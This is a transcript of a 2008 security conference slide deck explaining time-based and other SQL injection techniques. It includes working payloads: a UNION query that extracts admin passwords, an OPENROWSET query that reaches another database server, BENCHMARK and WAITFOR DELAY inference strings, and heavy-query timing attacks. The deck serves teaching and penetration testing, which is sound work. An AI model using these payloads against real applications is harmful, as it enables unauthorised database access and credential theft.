14:52, 7 October 2008

Download Report

Transcript 14:52, 7 October 2008

Time based SQL Injection
Presented by Muhaimin
Dzulfakar
1
© 2008 Security-Assessment.com
Who am I
 Muhaimin Dzulfakar – 90% of kiwis can't pronounce it
 Known as 'Emmie'
 Security Consultant – Security-Assessment.com
 Application and network pen-tester
2
© 2008 Security-Assessment.com
Agenda
 What is time based SQL Injection
 Differences between blind and time based SQL Injection
 Time based injection with heavy queries
 Limitation of time based SQL Injection
3
© 2008 Security-Assessment.com
Different types of SQL Injection
 In Band Injection
 Out of Band Injection
 Blind SQL Injection
 Time Based SQL Injection
4
© 2008 Security-Assessment.com
In Band Injection
 Results are embedded via union select
 Useful when SQL error message is displayed
 Fastest way to extract data
 Ex: http://www.buyviagra.com/buy.php?id=1 UNION ALL null, null,
null, null, concat(username,0x3a,admin_password), null from
admin/*
5
© 2008 Security-Assessment.com
In Band Injection
6
© 2008 Security-Assessment.com
Out of Band Injection
 Use a different communication channel to drill for data
 Ex: Web Mail application in which data received via SMTP is
processed
 Example of attack: Accessing your neighbour database server with
OOB injection

Ex: http://www.buyviagra.com/buy.asp?id=1 UNION ALL SELECT

a.* FROM OPENROWSET('SQLOLEDB','uid=sa;pwd=;

Network=DBMSSOCN;Address=10.1.1.1;timeout=1','SELECT

user, pass FROM users') AS a--
7
© 2008 Security-Assessment.com
Out of Band Injection
www.buyviagra.com
Web server
OOB Injection
Database B
Database A
10.1.1.1
8
© 2008 Security-Assessment.com
Blind SQL Injection
 Application generates custom error message for failed response and
normal page for successful response
 Comparison between true and false response

AND 1=1 -> true
AND 1=2 -> false
 Read data byte by byte
9
© 2008 Security-Assessment.com
Blind SQL Injection
10
© 2008 Security-Assessment.com
Blind SQL Injection
11
© 2008 Security-Assessment.com
Time Based SQL Injection
 Use time based to compare between true and false
 For true response – time delay is executed
 For failed response – time delay is not executed
 Read data byte by byte – exactly the same method with blind
injection
 First example by Chris Anley's paper – More advanced SQL
Injection
 Another example is in David Litchfield paper – Data Mining with
SQL Injection and Inference
12
© 2008 Security-Assessment.com
Why we need Time Based SQL Injection
 When the application generates default page for true or false
response
 When the application generates the same custom error page for
true or false response
 Injection is successful but can't be seen by the attacker
13
© 2008 Security-Assessment.com
Scenario 1 (blind injection attack)
$default=1
if value is not between 1-20
{
redirect user to page.php?id=$default
}
SQL statement
1 AND 1=1 [TRUE] -> default page displayed
1 AND 1=2 [FALSE] -> default page displayed
BLIND INJECTION FAILED
14
© 2008 Security-Assessment.com
Scenario 1 (time based blind injection attack)
$default=1
if value is not between 1-20
{
redirect user to page.php?id=$default
}
SQL statement
1 AND 1=1 [TRUE]
-> take 5 seconds to response
1 AND 1=2 [FALSE]
-> take 1 second to response
SUCCESS
TIME BASED BLIND INJECTION
15
© 2008 Security-Assessment.com
Scenario 2 (blind injection attack)
$values= 1 to 20
if the $values are not between 1-20
{
redirect user to error.php
}
SQL statement
1 AND 1=1 [TRUE] -> error page displayed
1 AND 1=2 [FALSE] -> error page displayed
BLIND INJECTION FAILED
16
© 2008 Security-Assessment.com
Scenario 2 (time based blind injection attack)
$values= 1 to 20
if the $values are not between 1-20
{
redirect user to error.php
}
SQL statement
1 AND 1=1 [TRUE]
-> take 5 seconds to response
1 AND 1=2 [FALSE]
-> take 1 second to response
SUCCESS
TIME BASED BLIND INJECTION
17
© 2008 Security-Assessment.com
Time Based SQL Injection
FALSE = 117ms
TRUE = 2478ms
18
© 2008 Security-Assessment.com
Spot the different
 Blind injection (for mysql)
 1 AND ASCII(substring((@@version),1,1))<52

if first character of database version is less than 4, it is

true

if first character of database version is 4 or more, it is

false
query
position
operator
char
19
© 2008 Security-Assessment.com
Spot the different
 Time Based Blind injection (for MySQL)
 1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT
@@version),1,1)),0)<52),BENCHMARK(900000,SHA1(1)),1))

if first character of database version is less than 4,

execute BENCHMARK

if first character of database version is not less than 4 ,

return 1
char
count time
query
operator
time delay
position
20
© 2008 Security-Assessment.com
Time Based Injection on MSSQL

Time based injection (MSSQL)

1 AND if not(substring((select \@\@version),25,1) < 52)

waitfor delay '0:0:9'--

if the first character less than 4, execute waitfor delay
query
time delay
position operator
char
21
© 2008 Security-Assessment.com
Other Databases
 Oracle (without PL/SQL support) MS Access, DB2 do not have delay
functions
 Time Based Injection is possible by using heavy queries
 Chema Alonso and Jose Prada talked about this in Microsoft Security
MVP Article and Defcon 2008
 2 types of conditions in 'where clause'

Light Condition first

Heavy Condition first
 Select A from B where ConditionA and ConditionB
22
© 2008 Security-Assessment.com
Heavy condition first
Heavy condition
100sec
Light Condition
10sec
Heavy & Light
Condition
Result
True
False
False
110
Seconds
True
True
True
110
Seconds
False
-
False
100
Seconds
Result from Alonso research
23
© 2008 Security-Assessment.com
Light condition first
Light condition
10sec
Heavy Condition
100sec
Heavy & Light
Condition
Result
True
False
False
110
Seconds
True
True
True
110
Seconds
False
-
False
10Secon
ds
Result from Alonso research
24
© 2008 Security-Assessment.com
Heavies Queries
 Oracle evaluates the conditions from left to right
 MS Access evaluates the conditions from right to left
 MSSQL evaluates light condition first
 Table name needs to be known
 Default table can be used for testing

MSSQL – sysussers

MySQL – information_schema.colums

Oracle - all_users
25
© 2008 Security-Assessment.com
Heavies Queries
 Example of time based injection using heavy queries on MSSQL
(light condition evaluates first)
 1 AND (select count(*) FROM sysusers as sys1, sys2, sysusers as
sys2, sysusers as sys3, sysusers as sys4, sysusers as sys5, sysusers
as sys6, sysusers as sys7, sysusers as sys8)> 0 AND 52 < (select
top 1 ASCII(substring(name,1,1)) from sysusers)
 Suitable for databases that do not support time delay functions
 Ex: Oracle and MS Access
heavy query
light query
26
© 2008 Security-Assessment.com
Limitation
 Results are not efficient during busy times
 How to get efficient results ?

Review the ipid checking (hping3)

Perform the test at 3am

Perform the test during Xmas 
 For heavy queries, time delay depends on how much data is
stored in database

The more data, more efficient are the result
27
© 2008 Security-Assessment.com
Demo
28
© 2008 Security-Assessment.com
Question ?
[email protected]
29
© 2008 Security-Assessment.com